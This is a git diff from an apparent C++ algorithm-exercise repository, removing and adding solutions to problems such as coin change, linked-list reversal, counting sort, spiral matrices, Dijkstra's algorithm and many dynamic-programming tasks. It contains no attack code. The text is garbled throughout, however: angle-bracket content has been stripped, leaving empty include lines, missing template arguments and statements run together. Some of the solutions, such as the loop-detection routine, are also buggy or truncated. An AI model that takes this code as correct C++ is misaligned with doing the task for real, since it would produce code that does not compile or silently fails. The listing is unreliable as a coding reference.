if(arr[j]<0){ - neg++; //count of negative numbers in the array - } - else{ - count0++; //count of zeroes in the array - } - } - //If we have more than 3 positive or negative numbers, the final sum would be greater - //than maximum of the three numbers, which will not be a part of the array. - //For eg : 1,2,3,4 -- if we choose 2+3+4, (i.e the largest positive/negative number along with two others) - // the value will be larger than the largest number itself, which is not part of array. So, not 3Sum closed. - - if(neg>=3 || pos>=3 ||(pos==2 && count0>0) ||(neg==2 && count0>0)){ - cout<<"NO"<0){ - pos=arr[j]; - } - else if(arr[j]<0){ - neg=arr[j]; - } - - } - if(neg==-pos){ - cout<<"YES"< m; - for(int j=0;j &coins, int amount) -{ - int n = coins.size(); - vector> dp(n + 1, vector(amount + 1)); - for (int i = 0; i <= n; i++) - { - for (int j = 0; j <= amount; j++) - { - if (i == 0) - dp[i][j] = INT_MAX - 1; - if (j == 0) - dp[i][j] = 0; - } - } - for (int j = 1; j <= amount; j++) - { - if (j % coins[0] == 0) - { - dp[1][j] = j / coins[0]; - } - else - { - dp[1][j] = INT_MAX - 1; - } - } - - for (int i = 2; i <= n; i++) - { - for (int j = 1; j <= amount; j++) - { - if (coins[i - 1] <= j) - { - dp[i][j] = min(dp[i][j - coins[i - 1]] + 1, dp[i - 1][j]); - } - else - { - dp[i][j] = dp[i - 1][j]; - } - } - } - if (dp[n][amount] == INT_MAX - 1) - return -1; - return dp[n][amount]; -} \ No newline at end of file diff --git a/Add Code Here/C++/Complete program of reversing linkedlist in given group.txt b/Add Code Here/C++/Complete program of reversing linkedlist in given group.txt deleted file mode 100644 index 4ca1c369ba3..00000000000 --- a/Add Code Here/C++/Complete program of reversing linkedlist in given group.txt +++ /dev/null @@ -1,87 +0,0 @@ -#include -using namespace std; -class node -{ - public: - int data; - node* next; - - - node(int d)//making constructor for nodes - { - data = d; - next = NULL; - } -}; -void insertAtTail(node*&head,int data)//function to insert new element at tail of the list -{ - if(head == NULL){ - head = new node(data); - return; - } - node *tail = head; - while(tail->next != NULL) - { - tail = tail->next; - } - tail->next = new node(data); -} -int buildList(node*&head)//function to build the list. -{ - int n; - cout<<"Enter the size of list:"; - cin>>n; - cout<>data; - insertAtTail(head,data);//New element will be inserted at end. - } - return a; -} -void printList(node*head)//function to print linked list. -{ - if(head == NULL){ - return; - } - cout<data<<" "; - printList(head->next); -} -struct node* reverse(node* head, int k)//function to reverse linked list in groups -{ - if(head==NULL){ - return NULL; - } - struct node* next=NULL; - struct node* prev=NULL; - struct node* curr=head; - int count=0; - while(curr && countnext; - curr->next=prev; - prev=curr; - curr=next; - count++; - } - - head->next=reverse(curr,k); - return prev; -} -int main() //main function -{ - int k; - node* head = NULL; - - int n = buildList(head); - cout<<"Linked list data: "; - printList(head); - cout<<"\nEnter the group size: "; - cin>>k; - head=reverse(head,k); - cout<<"\nAfter reversing linked list in groups of given size\n"; - cout<<"Linked list data: "; - printList(head);//printing new linked list. -} \ No newline at end of file diff --git a/Add Code Here/C++/ConatinerWithMostWater.cpp b/Add Code Here/C++/ConatinerWithMostWater.cpp deleted file mode 100644 index ad8a53de798..00000000000 --- a/Add Code Here/C++/ConatinerWithMostWater.cpp +++ /dev/null @@ -1,26 +0,0 @@ -#include -#include -using namespace std; - -class Solution { -public: - int maxArea(vector& height) { - - int n=height.size(); - int l=0; - int r=n-1; - int area=0; - while(l +#include +using namespace std; +int main() { + int t; + cin>> t; + for(int i =0 ; i> w>> d>>h ; + int a,b ; + int f,g ; + cin>> a>> b >>f>>g ; + + int max1 = 0 ; + if(a+f>(2*w-a-f)){ + max1 += (2*w-a-f)+abs(b-g)+h;} + else{ + max1 += a+f +abs(b-g)+h; + } + int max2 = 0 ; + if(b+g>(2*d-b-g)){ + max2 += (2*d-b-g)+abs(a-f)+h;} + else{ + max2 += b+g+abs(a-f)+h; + } + if(max1>max2){ + cout< -#include -using namespace std; -#define RANGE 200 - -// The main function that sort -// the given string arr[] in -// alphabetical order -void countSort(char arr[]) -{ - // The output character array - // that will have sorted arr - char output[strlen(arr)]; - - // Create a count array to store count of individual - // characters and initialize count array as 0 - int count[RANGE + 1], i; - memset(count, 0, sizeof(count)); - - // Store count of each character - for (i = 0; arr[i]; ++i) - ++count[arr[i]]; - - // Change count[i] so that count[i] now contains actual - // position of this character in output array - for (i = 1; i <= RANGE; ++i) - count[i] += count[i - 1]; - - // Build the output character array - for (i = 0; arr[i]; ++i) { - output[count[arr[i]] - 1] = arr[i]; - --count[arr[i]]; - } - - /* - For Stable algorithm - for (i = sizeof(arr)-1; i>=0; --i) - { - output[count[arr[i]]-1] = arr[i]; - --count[arr[i]]; - } - - For Logic : See implementation - */ - - // Copy the output array to arr, so that arr now - // contains sorted characters - for (i = 0; arr[i]; ++i) - arr[i] = output[i]; -} - -// Driver code -int main() -{ - char arr[] = "countingsortincpp"; - - countSort(arr); - - cout << "Sorted character array is " << arr; - return 0; -} - - diff --git a/Add Code Here/C++/CreateSpiralMatrix.cpp b/Add Code Here/C++/CreateSpiralMatrix.cpp new file mode 100644 index 00000000000..91cb559cad3 --- /dev/null +++ b/Add Code Here/C++/CreateSpiralMatrix.cpp @@ -0,0 +1,73 @@ +#include +#include +using namespace std; + +vector> createSpiralMatrix(int n) +{ + vector> matrix(n, vector(n)); + int left = 0; + int right = n - 1; + int top = 0; + int bottom = n - 1; + + int direction = 0; + int value = 1; + + while (left <= right && top <= bottom) + { + if (direction == 0) + { + for (int i = left; i <= right; i++) + { + matrix[top][i] = value++; + } + top++; + } + else if (direction == 1) + { + for (int j = top; j <= bottom; j++) + { + matrix[j][right] = value++; + } + right--; + } + else if (direction == 2) + { + for (int i = right; i >= left; i--) + { + matrix[bottom][i] = value++; + } + bottom--; + } + else + { + for (int j = bottom; j >= top; j--) + { + matrix[j][left] = value++; + } + left++; + } + direction = (direction + 1) % 4; + } + return matrix; +} + +int main() +{ + int n; + cout << "Enter the positive integer : "; + cin >> n; + + vector> matrix(n, vector(n)); + + matrix = createSpiralMatrix(n); + for (int i = 0; i < n; i++) + { + for (int j = 0; j < n; j++) + { + cout << matrix[i][j] << " "; + } + cout << endl; + } + return 0; +} diff --git a/Add Code Here/C++/DNF_sort.cpp b/Add Code Here/C++/DNF_sort.cpp deleted file mode 100644 index 425f43ad0d1..00000000000 --- a/Add Code Here/C++/DNF_sort.cpp +++ /dev/null @@ -1,44 +0,0 @@ -#include -using namespace std; - -void solve(){ - int n; - cin>>n; - - int arr[n]; - for(int i=0;i>arr[i]; - } - - // 3 pointer approach - // use if-else or switch case - - int low=0, mid=0, high=n-1; - - while(mid <= high){ - switch (arr[mid]){ - case 0: - swap(arr[low++], arr[mid++]); - break; - case 1: - mid++; - break; - case 2: - swap(arr[mid], arr[high--]); - break; - } - } - - for(int i=0;i>testcase; - while(testcase--){ - solve(); - } - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/Decimal to Binary Conversion b/Add Code Here/C++/Decimal to Binary Conversion deleted file mode 100644 index 81c7842fe43..00000000000 --- a/Add Code Here/C++/Decimal to Binary Conversion +++ /dev/null @@ -1,34 +0,0 @@ -// C++ program to convert a decimal -// number to binary number - -#include -using namespace std; - -// function to convert decimal to binary -void decToBinary(int n) -{ - // array to store binary number - int binaryNum[32]; - - // counter for binary array - int i = 0; - while (n > 0) { - - // storing remainder in binary array - binaryNum[i] = n % 2; - n = n / 2; - i++; - } - - // printing binary array in reverse order - for (int j = i - 1; j >= 0; j--) - cout << binaryNum[j]; -} - -// Driver program to test above function -int main() -{ - int n = 17; - decToBinary(n); - return 0; -} diff --git a/Add Code Here/C++/Delete Nodes which has greater value on the right side.txt b/Add Code Here/C++/Delete Nodes which has greater value on the right side.txt deleted file mode 100644 index 6406d5cceb7..00000000000 --- a/Add Code Here/C++/Delete Nodes which has greater value on the right side.txt +++ /dev/null @@ -1,45 +0,0 @@ -// Delete nodes which have greater value on the right side -// 1. Reverse the linkedlist -//2. Commpute save the larges in max and smallest delete karo -// 3. Reverse again the linkedlist - -class solution{ - public: - Node* reverse(Node*root) - { - Node*prev=NULL; - Node* current=root; - while(current) - { - Node* temp=current->next; - current->next =prev; - prev=current; - current=temp; - } - return prev; - } - - Node*compute(Node*head) - { - head=reverse(head); - Node*current=head; - int max=head->data; - while(head) - { - if(head->data>=max) - { - max=head->data; - prev=head; - head=head->next; - } - else - { - prev->next = head->next; - head=prev->next; - } - } - head=reverse(current); - return head; - } - -}; diff --git a/Add Code Here/C++/Delete kth node using recursive function.txt b/Add Code Here/C++/Delete kth node using recursive function.txt deleted file mode 100644 index c2ac8f09d6d..00000000000 --- a/Add Code Here/C++/Delete kth node using recursive function.txt +++ /dev/null @@ -1,19 +0,0 @@ -Node*deletNode(Node* start, int k) -{ -if(k<1) -return start; - -if(start==NULL) -{ -return NULL; -} - -if(k==1) -{ -Node*res=start->next; -delete(start); -return res; -} - -start->next=deleteNode(start->next, k-1); -return start; \ No newline at end of file diff --git a/Add Code Here/C++/Design Circular Queue.cpp b/Add Code Here/C++/Design Circular Queue.cpp deleted file mode 100644 index 29c948d785f..00000000000 --- a/Add Code Here/C++/Design Circular Queue.cpp +++ /dev/null @@ -1,84 +0,0 @@ -class MyCircularQueue { - vector v; - int s=-1,r=-1; - int k=0; -public: - MyCircularQueue(int k) { - v.resize(k); - this->k=k; - s=-1; r=-1; - - } - - bool enQueue(int value) { - - if(s==-1 && r==-1) - { - s=0; - r=0; - v[0]=value; - return 1; - } - - if( (r+1)%k==s ) - return 0; - - r= r+1; - r%=k; - - v[r]=value; - return 1; - - - - } - - bool deQueue() { - - if(s==-1 && r==-1) - return 0; - - if(r==s) - { - r=-1; - s=-1; - return 1; - } - - s++; - s%=k; - return 1; - - - } - - int Front() { - if(s==-1) - return -1; - - return v[s]; - - } - - int Rear() { - - if(r==-1) - return -1; - return v[r]; - - } - - bool isEmpty() { - - if(s==-1) - return 1; - return 0; - - } - - bool isFull() { - if((r+1)%k==s) - return 1; - return 0; - } -}; diff --git a/Add Code Here/C++/Detect, Remove, find starting point of loop in linked list.txt b/Add Code Here/C++/Detect, Remove, find starting point of loop in linked list.txt deleted file mode 100644 index 5394098f7c5..00000000000 --- a/Add Code Here/C++/Detect, Remove, find starting point of loop in linked list.txt +++ /dev/null @@ -1,54 +0,0 @@ -Write a program to detect a loop in the linkedlist: -It means that find if there is infinte loop in linked list or not - -To solve this problem we will use floyd algorithm -1. we will initailize two variables both with head -one will move twice as per the second one - -for the sake of understanding let's implement the program. - - -Node* check_loop(Node* head){ -Node* start = head; -Node*End = head; - -while(End != NULL && End->next !=NULL){ - -start=start->next; -End= End->next->next; - -if(start==End){ -return start; -} -return NULL; -} -} - -Node* Start_loop(Node*head){ -Node* meet=check_loop(head); -Node*start=head; -while(start!=meet){ -start=start->next; -meet= meet->next; -} -return start; -} - -// Remove function -void removeCycle(Node*head){ - -Node*slow=head; -Node*fast=head; -do{ - slow=slow->next; - fast=fast->next; - -}while(slow!=fast); -fast = head; - -while(slow->next!=fast->next){ - slow = slow->next; - fast = fast->next; -} - -slow->next=NULL \ No newline at end of file diff --git a/Add Code Here/C++/Djikstra's Algorithm.cpp b/Add Code Here/C++/Djikstra's Algorithm.cpp deleted file mode 100644 index 4216b548a90..00000000000 --- a/Add Code Here/C++/Djikstra's Algorithm.cpp +++ /dev/null @@ -1,63 +0,0 @@ -#include -using namespace std; - -int miniDist(int distance[], bool Tset[]) // finding minimum distance -{ - int minimum=INT_MAX,ind; - - for(int k=0;k<6;k++) - { - if(Tset[k]==false && distance[k]<=minimum) - { - minimum=distance[k]; - ind=k; - } - } - return ind; -} - -void DijkstraAlgo(int graph[6][6],int src) // adjacency matrix -{ - int distance[6]; // // array to calculate the minimum distance for each node - bool Tset[6];// boolean array to mark visited and unvisited for each node - - - for(int k = 0; k<6; k++) - { - distance[k] = INT_MAX; - Tset[k] = false; - } - - distance[src] = 0; // Source vertex distance is set 0 - - for(int k = 0; k<6; k++) - { - int m=miniDist(distance,Tset); - Tset[m]=true; - for(int k = 0; k<6; k++) - { - // updating the distance of neighbouring vertex - if(!Tset[k] && graph[m][k] && distance[m]!=INT_MAX && distance[m]+graph[m][k] -using namespace std; -//ASKED IN FLIPKART INTERVIEW -// } Driver Code Ends -class Solution{ - public: - vector duplicates(int arr[], int n) { - // code here - int map[n] = {0}; - int f = 0; - vector ans; - for(int i=0; i 1) - { - ans.push_back(i); - f = 1; - } - } - - if(f) - return ans; - return {-1}; - } -}; - - -//{ Driver Code Starts. -int main() { - int t; - cin >> t; - while (t-- > 0) { - int n; - cin >> n; - int a[n]; - for (int i = 0; i < n; i++) cin >> a[i]; - Solution obj; - vector ans = obj.duplicates(a, n); - for (int i : ans) cout << i << ' '; - cout << endl; - } - return 0; -} - -// } Driver Code Ends \ No newline at end of file diff --git a/Add Code Here/C++/Dynamic Programming/1_Climbing_Stairs.cpp b/Add Code Here/C++/Dynamic Programming/1_Climbing_Stairs.cpp new file mode 100644 index 00000000000..d0804ed3e7b --- /dev/null +++ b/Add Code Here/C++/Dynamic Programming/1_Climbing_Stairs.cpp @@ -0,0 +1,85 @@ +#include +using namespace std; + +int totalWaysRec(int n) { + if(n<=0) return 0; + if(n<=2) return n; + return totalWaysRec(n-1) + totalWaysRec(n-2); +} + +int totalWaysRec2(int n, int i) { + if(i==n) return 1; + if(i>n) return 0; + return totalWaysRec2(n, i+1) + totalWaysRec2(n, i+2); +} + +/* + Recursion + Memoization +*/ +int totalWaysDP(int n, vector &dp) { + if(n<=0) return 0; + if(n<=2) return n; + + if(dp[n] != 0) return dp[n]; + + dp[n] = totalWaysDP(n-1, dp) + totalWaysDP(n-2, dp); + return dp[n]; +} + +/* + Tabulation +*/ +int totalWaysDP(int n) { + vector dp(n+1, 0); + dp[0] = dp[1] = 1; + + for(int i=2; i<=n; i++) { + dp[i] = dp[i-1] + dp[i-2]; + } + + return dp[n]; +} + +/* + Space optimisation +*/ +int totalWaysDP2(int n) { + int prev1 = 1; + int prev2 = 1; + + for(int i=2; i<=n; i++) { + int curr = prev1 + prev2; + + prev2 = prev1; + prev1 = curr; + } + + return prev1; +} + +int main() { + // int n; + // cout << "Enter n : "; + // cin >> n; + + // int ans = totalWaysRec(n); + + // vector dp(n+1, 0); + // int ans = totalWaysDP(n, dp); + + // cout << "Total ways to climb " << n << " stairs : " << ans << endl; + + vector input = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 15, 20, 25, 30, 35, 37}; + for(int i=0; i dp(input[i]+1, 0); + + cout << "For " << input[i] << " : "; + cout << totalWaysRec(input[i]) << " "; + cout << totalWaysRec2(input[i], 0) << " "; + cout << totalWaysDP(input[i], dp) << " "; + cout << totalWaysDP(input[i]) << " "; + cout << totalWaysDP2(input[i]) << endl; + } + + return 0; +} \ No newline at end of file diff --git a/Add Code Here/C++/Dynamic Programming/1_Fibonacci_Series.cpp b/Add Code Here/C++/Dynamic Programming/1_Fibonacci_Series.cpp new file mode 100644 index 00000000000..8255bcc0c36 --- /dev/null +++ b/Add Code Here/C++/Dynamic Programming/1_Fibonacci_Series.cpp @@ -0,0 +1,78 @@ +#include +using namespace std; + +int fibRec(int n) { + if(n <= 1) return n; + return fibRec(n-1) + fibRec(n-2); +} + +/* + Top-down approach (Recursion + Memoisation) + TC : O(N) + SC : O(N) + O(N) : O(N) +*/ +int fibDP(int n, vector &dp) { + if(n <= 1) { + return n; + } + + if(dp[n] != -1) { + return dp[n]; + } + + dp[n] = fibDP(n-1, dp) + fibDP(n-2, dp); + return dp[n]; +} + +/* + Bottom-up approach (Tabulation) + TC : O(N) + SC : O(N) +*/ +int fibDP(int n) { + vector dp(n+1, -1); + dp[0] = 0; + dp[1] = 1; + + for(int i=2; i<=n; i++) { + dp[i] = dp[i-1] + dp[i-2]; + } + + return dp[n]; +} + +/* + Space optimisation approach + TC : O(N) + SC : O(1) +*/ +int fibDP2(int n) { + if(n <= 1) return n; + + int prev1 = 1; + int prev2 = 0; + + for(int i=2; i<=n; i++) { + int curr = prev1 + prev2; + + prev2 = prev1; + prev1 = curr; + } + + return prev1; +} + +int main() { + int n; + cout << "Enter n : "; + cin >> n; + + // int ans = fibRec(n); + + vector dp(n+1, -1); + int ans = fibDP(n, dp); + + cout << "Nth fibonacci number : " << ans << endl; + + return 0; +} diff --git a/Add Code Here/C++/Dynamic Programming/2_Min_Cost_Climbing_Stairs.cpp b/Add Code Here/C++/Dynamic Programming/2_Min_Cost_Climbing_Stairs.cpp new file mode 100644 index 00000000000..cbae950edab --- /dev/null +++ b/Add Code Here/C++/Dynamic Programming/2_Min_Cost_Climbing_Stairs.cpp @@ -0,0 +1,106 @@ +#include +using namespace std; + +/* + Recursion +*/ +int minCost(vector &stairs, int i) { + if(i < 0) { + return 0; + } + + if(i <= 1) { + return stairs[i]; + } + + int ans = min(minCost(stairs, i-1) , minCost(stairs, i-2)); + return stairs[i] + ans; +} + +/* + Recursion + Memoization +*/ +int minCost(vector &stairs, int i, vector &dp) { + if(i < 0) { + return 0; + } + + if(i <= 1) { + return stairs[i]; + } + + // int one, two; + + // if(dp[i-1] != 0) one = dp[i-1]; + // else one = minCost(stairs, i-1, dp); + + // if(dp[i-2] != 0) two = dp[i-2]; + // else two = minCost(stairs, i-2, dp); + + + // dp[i] = stairs[i] + min(one,two); + + if(dp[i] != 0) return dp[i]; + + dp[i] = stairs[i] + min(minCost(stairs, i-1, dp), minCost(stairs, i-2, dp)); + + return dp[i]; +} + +/* + Tabulation +*/ +int minCost(vector &stairs) { + int n = stairs.size(); + vector dp(n, 0); + dp[0] = stairs[0]; + dp[1] = stairs[1]; + + for(int i=2; i &stairs) { + int n = stairs.size(); + int prev0 = stairs[0]; + int prev1 = stairs[1]; + + for(int i=2; i> n; + + vector stairs(n,0); + cout << "Enter the cost of stairs : "; + for(int i=0; i> stairs[i]; + + // int ans = min(minCost(stairs, n-1) , minCost(stairs, n-2)); + + + // vector dp(n,0); + // dp[0] = stairs[0]; + // dp[1] = stairs[1]; + // int ans = min(minCost(stairs, n-1, dp), minCost(stairs, n-2, dp)); + + int ans = minCost2(stairs); + cout << "Minimum cost: " << ans << endl; + + return 0; +} \ No newline at end of file diff --git a/Add Code Here/C++/Dynamic_programming/Easy/Climbing Stairs.cpp b/Add Code Here/C++/Dynamic_programming/Easy/Climbing Stairs.cpp new file mode 100644 index 00000000000..30dca87e67a --- /dev/null +++ b/Add Code Here/C++/Dynamic_programming/Easy/Climbing Stairs.cpp @@ -0,0 +1,18 @@ +//Link: https://leetcode.com/problems/climbing-stairs/description/ + + +class Solution { +public: + int cost(int n, vector & dp){ + if(n <= 1) return 1; + if(dp[n] != -1) return dp[n]; + int incl = cost(n - 2, dp); + int excl = cost(n - 1, dp); + dp[n] = incl + excl; + return dp[n]; + } + int climbStairs(int n) { + vector dp(n + 1, -1); + return cost(n, dp); + } +}; diff --git a/Add Code Here/C++/Dynamic_programming/Easy/Counting Bits.cpp b/Add Code Here/C++/Dynamic_programming/Easy/Counting Bits.cpp new file mode 100644 index 00000000000..d3f762eb869 --- /dev/null +++ b/Add Code Here/C++/Dynamic_programming/Easy/Counting Bits.cpp @@ -0,0 +1,22 @@ +//Link: https://leetcode.com/problems/counting-bits/description/ + +class Solution { +public: + int solve(int n, vector & res){ + if(n<2) return n; + if(res[n] != 0) return res[n]; + if(n%2 == 0){ + return solve(n/2, res); + } + else { + return 1+solve(n/2, res); + } + } + vector countBits(int n) { + vector res(n+1, 0); + for(int i = 0; i<=n; i++){ + res[i] = solve(i, res); + } + return res; + } +}; diff --git a/Add Code Here/C++/Dynamic_programming/Easy/Frog1.cpp b/Add Code Here/C++/Dynamic_programming/Easy/Frog1.cpp new file mode 100644 index 00000000000..6370bd26fb1 --- /dev/null +++ b/Add Code Here/C++/Dynamic_programming/Easy/Frog1.cpp @@ -0,0 +1,98 @@ +//Question Link:-https://atcoder.jp/contests/dp/tasks/dp_a +//....................AUTHOR:-Anurag + +#include + +using namespace std; + +//bultin functions +#define setbits(x) __builtin_popcountll(x) ///No of set bits +#define tzrobits(x) __builtin_ctz(x) ///Trailing zeros +#define lzrobits(x) __builtin_clz(x) ///Leading zeros +#define lastset(x) __builtin_ffs(x) //last set bit position(1-based) + +#define all(x) x.begin(),x.end() +#define allr(x) x.rbegin(),x.rend() +#define arrmin(x) *min_element(all(x)) +#define arrmax(x) *max_element(all(x)) +#define arrsum(x) accumulate(all(x), 0LL) +#define arrpre(x) partial_sum(all(x), x.begin()) +#define arrsuf(x) partial_sum(allr(x), x.rbegin()) +#define len(x) (int) (x).size() +#define pb push_back +#define eb emplace_back +#define rep(x,start,end) for(auto x=(start)-((start)>(end));x!=(end)-((start)>(end));((start)<(end)?x++:x--)) +#define pii pair +#define pll pair +#define strline(s) \ + string s; \ + getline(cin, s); \ + if (s == "" || s == "\n") \ + getline(cin, s); +#define ft first +#define sc second +#define line cout<<'\n' +#define precise(digits) fixed << setprecision(digits) + +typedef vector vi; +typedef long long ll; +typedef vector vll; +#define smallerthan(x) order_of_keys(x) +#define index(x) find_by_order(x); + + +template pair& operator-- (pair &p){--p.first; --p.second; return p;} +template pair& operator++ (pair &p){++p.first; ++p.second; return p;} +template istream& operator>>(istream& is, pair &p){is >> p.first >> p.second; return is;} +template ostream& operator<<(ostream& os, pair p){os << p.first << ' ' << p.second; return os;} +template pair operator-(pair a, pair b){return mp(a.first-b.first, a.second-b.second);} +template pair operator+(pair a, pair b){return mp(a.first+b.first, a.second+b.second);} +template vector& operator-- (vector &v){for (auto& i : v) --i; return v;} +template vector& operator++ (vector &v){for (auto& i : v) ++i; return v;} +template istream& operator>>(istream& is, vector &v){for (auto& i : v) is >> i; return is;} +template ostream& operator<<(ostream& os, vector v){for (auto& i : v) os << i << ' '; return os;} +template void umin(T& a, U b){if (a > b) a = b;} +template void umax(T& a, U b){if (a < b) a = b;} + +ll MOD = 1e9 + 7;//1e9-7 +const ll inf = 1e18; +const int N = 200007; +const double PI = acos(-1.0); + +// vectoradj(N); +// vll vis(N,0),indegree(N,0); +// vector dp(N+1,vi(N+1,0)); + +void soln() +{ + ll n;cin>>n; + vll h(n);cin>>h; + vll dp(n); + dp[0]=0; + dp[1]=abs(h[1]-h[0]); + for (int i = 2; i < n; ++i) + { + dp[i]=min(dp[i-1]+abs(h[i-1]-h[i]),dp[i-2]+abs(h[i-2]-h[i])); + } + cout<>tt; + //int p=1; + + while(tt--) + { + //cout<<"Case #"<> a = {{4, 6}, {6, 8}, {7, 9}, {4, 8}, {0, 3, 9}, {}, {0, 1, 7}, {2, 6}, {1, 3}, {2, 4}}; + int mod = 1e9 + 7; + long long int ans = 0; + vector> dp(n + 1, vector(10, 0)); + for (int i = 0; i < 10; i++) + dp[1][i] = 1; + + for (int i = 2; i < n + 1; i++) + for (int j = 0; j < 10; j++) + { + for (int k = 0; k < a[j].size(); k++) + dp[i][j] += dp[i - 1][a[j][k]]; + dp[i][j] %= mod; + } + + for (auto x : dp[n]) + ans += x; + + return ans % mod; +} +}; diff --git a/Add Code Here/C++/Dynamic_programming/Easy/Maximum Product Subarray.cpp b/Add Code Here/C++/Dynamic_programming/Easy/Maximum Product Subarray.cpp new file mode 100644 index 00000000000..34e08c73df3 --- /dev/null +++ b/Add Code Here/C++/Dynamic_programming/Easy/Maximum Product Subarray.cpp @@ -0,0 +1,16 @@ +//link: https://leetcode.com/problems/maximum-product-subarray/description/ + +class Solution { +public: + int maxProduct(vector& nums) { + int n = nums.size(); + int maxTillNow = nums[0], maxProduct = nums[0], minTillNow = nums[0]; + for(int i = 1; i,int>dp; + int solve(int i,vector&str,int m,int n){ + if(m<0 or n<0 or i>=str.size()) return 0; + + if(dp.count({i,m,n})>0) return dp[{i,m,n}]; + + int cnt1=count(str[i],'1'); + int cnt0=count(str[i],'0'); + + int tk=0,ntk=0; + + if(cnt1<=n and cnt0<=m){ + tk=1+solve(i+1,str,m-cnt0,n-cnt1); + } + ntk=solve(i+1,str,m,n); + + return dp[{i,m,n}]=max(tk,ntk); + } + int findMaxForm(vector& strs, int m, int n) { + dp=map,int>(); + + return solve(0,strs,m,n); + } +}; diff --git a/Add Code Here/C++/Dynamic_programming/Hard/Best Time to Buy and Sell Stock IV.cpp b/Add Code Here/C++/Dynamic_programming/Hard/Best Time to Buy and Sell Stock IV.cpp new file mode 100644 index 00000000000..c9a6d7fa462 --- /dev/null +++ b/Add Code Here/C++/Dynamic_programming/Hard/Best Time to Buy and Sell Stock IV.cpp @@ -0,0 +1,22 @@ +//Link: https://leetcode.com/problems/best-time-to-buy-and-sell-stock-iv/description/ + +class Solution { +public: + int getAns(vector& prices, int n, int ind, int buy, int cap,vector>>& dp ){ + if(ind==n || cap==0) return 0; //base case + if(dp[ind][buy][cap]!=-1) return dp[ind][buy][cap]; + int profit; + if(buy==0){// We can buy the stock + profit = max(0+getAns(prices,n,ind+1,0,cap,dp), -prices[ind] + getAns(prices,n,ind+1,1,cap,dp)); + } + if(buy==1){// We can sell the stock + profit = max(0+getAns(prices,n,ind+1,1,cap,dp),prices[ind] + getAns(prices,n,ind+1,0,cap-1,dp)); + } + return dp[ind][buy][cap] = profit; + } + int maxProfit(int k, vector& prices) { + int n = prices.size(); + vector>> dp(n,vector>(2,vector(k+1,-1))); + return getAns(prices,n,0,0,k,dp); + } +}; diff --git a/Add Code Here/C++/Dynamic_programming/Hard/Frog Jump.cpp b/Add Code Here/C++/Dynamic_programming/Hard/Frog Jump.cpp new file mode 100644 index 00000000000..eacfe258388 --- /dev/null +++ b/Add Code Here/C++/Dynamic_programming/Hard/Frog Jump.cpp @@ -0,0 +1,28 @@ +//Link: https://leetcode.com/problems/frog-jump/description/ + +class Solution { +private: + bool can(int ind, int prev_step, vector &stones, vector> &dp) { + if(ind == stones.size() - 1) return true; + + if(dp[ind][prev_step] != -1) return dp[ind][prev_step]; + + int min_step = max(1, prev_step - 1); + int max_step = prev_step + 1; + + int ind1 = lower_bound(stones.begin(), stones.end(), stones[ind] + min_step) - stones.begin(); + int ind2 = upper_bound(stones.begin(), stones.end(), stones[ind] + max_step) - stones.begin(); + + bool res = false; + for(int i = ind1; i < ind2; i++) { + res = res || can(i, stones[i] - stones[ind], stones, dp); + } + return dp[ind][prev_step] = res; + } + +public: + bool canCross(vector& stones) { + vector> dp(stones.size(), vector (stones.size(), -1)); + return can(0, 0, stones, dp); + } +}; diff --git a/Add Code Here/C++/Dynamic_programming/Hard/Minimum Cost to Merge Stones.cpp b/Add Code Here/C++/Dynamic_programming/Hard/Minimum Cost to Merge Stones.cpp new file mode 100644 index 00000000000..2540cb759f6 --- /dev/null +++ b/Add Code Here/C++/Dynamic_programming/Hard/Minimum Cost to Merge Stones.cpp @@ -0,0 +1,32 @@ +//Link: https://leetcode.com/problems/minimum-cost-to-merge-stones/description/ + + int mergeStones(vector& stones, int K) + { + int N = stones.size(); + if ((N-1)%(K-1) > 0) return -1; // validation to merge into a single pile + + // partial sum + int sum[N+1] = {0}; + for (int i = 1; i <= N; i++) + sum[i] = sum[i-1] + stones[i-1]; + + // dp[i][j]: the minimum cost needed to merge stones[i] ~ stones[j] + // with the left most element stones[i] always involved in merge if possible + vector> dp(N, vector(N, 0)); + + for (int L = K; L <= N; L++) // L: length of interval [i,j] + for (int i = 0, j = i+L-1; j < N; i++, j++) { // each interval [i,j] of length L in [0,N] + + dp[i][j] = INT_MAX; + + // when stones[i] is merged, it must be merged with multiple of (K-1) other stones + for (int k = i; k < j; k += (K-1)) + dp[i][j] = min(dp[i][j], dp[i][k] + dp[k+1][j]); + + // all stones in [i,j] can be merged into one pile + if ((L-1)%(K-1) == 0) + dp[i][j] += (sum[j+1] - sum[i]); // add sum in [i,j] + } + + return dp[0][N-1]; + } diff --git a/Add Code Here/C++/Dynamic_programming/Hard/Minimum Insertion Steps to Make a String Palindrome.cpp b/Add Code Here/C++/Dynamic_programming/Hard/Minimum Insertion Steps to Make a String Palindrome.cpp new file mode 100644 index 00000000000..854a09804a0 --- /dev/null +++ b/Add Code Here/C++/Dynamic_programming/Hard/Minimum Insertion Steps to Make a String Palindrome.cpp @@ -0,0 +1,19 @@ +//Link: https://leetcode.com/problems/minimum-insertion-steps-to-make-a-string-palindrome/description/ + +class Solution { +public: + int solve(int i,int j,string &s,vector> &dp){ + if(i>=j)return 0; + if(dp[i][j] != -1)return dp[i][j]; + if(s[i]==s[j]){ + return dp[i][j] = solve(i+1,j-1,s,dp); + }else{ + return dp[i][j] = min({solve(i+1,j,s,dp),solve(i,j-1,s,dp)})+1; + } + } + int minInsertions(string s) { + int n = s.length(); + vector> dp(n,vector(n,-1)); + return solve(0,n-1,s,dp); + } +}; diff --git a/Add Code Here/C++/Dynamic_programming/Hard/Trapping Rain Water.cpp b/Add Code Here/C++/Dynamic_programming/Hard/Trapping Rain Water.cpp new file mode 100644 index 00000000000..ba137b0654b --- /dev/null +++ b/Add Code Here/C++/Dynamic_programming/Hard/Trapping Rain Water.cpp @@ -0,0 +1,38 @@ +//Link: https://leetcode.com/problems/trapping-rain-water/description/ + +class Solution { +public: + int trap(vector& height) { + int n = height.size(); + int lmax = height[0]; + int rmax = height[n-1]; + int lpos = 1; + int rpos = n-2; + int water = 0; + while(lpos <= rpos) + { + if(height[lpos] >= lmax) + { + lmax = height[lpos]; + lpos++; + } + else if(height[rpos] >= rmax) + { + rmax = height[rpos]; + rpos--; + } + else if(lmax <= rmax && height[lpos] < lmax) + { + water += lmax - height[lpos]; + lpos++; + } + else + { + water += rmax - height[rpos]; + rpos--; + } + + } + return water; + } +}; diff --git a/Add Code Here/C++/Dynamic_programming/Medium/Coin Change.cpp b/Add Code Here/C++/Dynamic_programming/Medium/Coin Change.cpp new file mode 100644 index 00000000000..2bfc59ad21b --- /dev/null +++ b/Add Code Here/C++/Dynamic_programming/Medium/Coin 